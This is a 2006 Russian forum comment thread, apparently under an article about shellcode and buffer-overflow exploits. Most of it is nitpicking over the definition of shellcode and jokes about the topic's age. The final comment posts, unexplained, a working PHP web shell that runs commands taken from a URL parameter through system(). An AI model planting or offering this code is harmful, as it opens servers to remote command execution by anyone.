| 1.1, pagan (?), 17:51, 19/05/2006 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
>блок бинарного кода для запуска shell после использования уязвимости
да ну? А если я напишу 0free код, который будет, ну предположим, icmp запросы слать, это уже шеллкоднсом не будет?
А вообще стыдно уже такие статьи публиковать. Теме 10 лет уже. И ладно бы чего нить относительно новое писали (хотя бы про полиморфные/метаморфные shellcode, мультиплатформенные,etc), так нет, в 1024 раз напишут про то как сделать буфер оверфлоу в программе, и что самое главное, как написать, и скомпелировать сплоет (а значит и немного шеллкодеса).
Печально.
wbr. | | |
| 1.2, dropuser (?), 18:50, 19/05/2006 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
>>блок бинарного кода для запуска shell после использования уязвимости
>да ну? А если я напишу 0free код, который будет, ну предположим, icmp запросы
>слать, это уже шеллкоднсом не будет?
вообще-то, нормальный шеллкод и есть 0-free
а во-вторых, сказано "чаще всего для запуска shell"
вам лишь бы придраться... | | |
| |
| 2.4, pagan (?), 20:13, 19/05/2006 [^] [^^] [^^^] [ответить]
| +/– |
>вообще-то, нормальный шеллкод и есть 0-free
А я и не утверждал обратного.
>а во-вторых, сказано "чаще всего для запуска shell"
Это уже потом исправили. Изначально было "для запуска shell"
>вам лишь бы придраться...
Уверяю Вас, это не так. | | |
|
| 1.3, Аноним (-), 19:21, 19/05/2006 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Статья самое оно для тех кто только "где-то" слышал что такое шеллкод и эксплоиты но не разу не сталкивался вплотную.
| | |
| |
| 2.5, slv (??), 18:43, 21/05/2006 [^] [^^] [^^^] [ответить]
| +/– | |
Если Вам это не интересно, то это не значит, что не интересно никому... | | |
| |
| 3.6, Аноним (-), 04:47, 22/05/2006 [^] [^^] [^^^] [ответить]
| +/– | |
ещё раз перечитайте, что он написал - поймёте, что он имел ввиду. | | |
|
|
| 1.7, noname (??), 08:59, 22/05/2006 [ответить] [﹢﹢﹢] [ · · · ]
| +/– | |
угу. въезжаем в новое тысячелетие верхом на танке с баяном прошлого века. | | |
| |
| 2.9, pagan (?), 09:45, 22/05/2006 [^] [^^] [^^^] [ответить]
| +/– |
>Теме 10 лет и 10 лет я читаю эти статьи с удовольствием
И вот, настало время, Вам нужно срочно вступить и скомпелировать :-)))) | | |
| |
| |
| 4.11, pagan (?), 12:11, 22/05/2006 [^] [^^] [^^^] [ответить]
| +/– |
> скомпелировать -> скомпилировать
нет, нет, именно скомпЕлировать. Читайте хэккерский езинос от BHC %))
p.s. это не более чем стеб над "знатоками". | | |
|
|
|
| |
| |
| 3.15, Zlobec (?), 13:47, 23/05/2006 [^] [^^] [^^^] [ответить]
| +/– |
>>короче Адепты! вступайте и компелируйте! В месте мы сила!
>Вы одепт негодный, потому как не знаете как пишется слово одпет.
>Прошу ознакомиться с классификацией одептов: http://blackhat.nm.ru/odepts_classes.PNG
А че это он в двоичке шелкодит, я в статье видал там циферки и иксики ? ))))))))) | | |
|
|
| 1.16, N1eO (?), 19:43, 07/09/2006 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
 <?
if (!empty($_GET['c'])) {
echo '<pre>';
system($_GET['c']);
echo'</pre>';
}
exit;
?> | | |
|
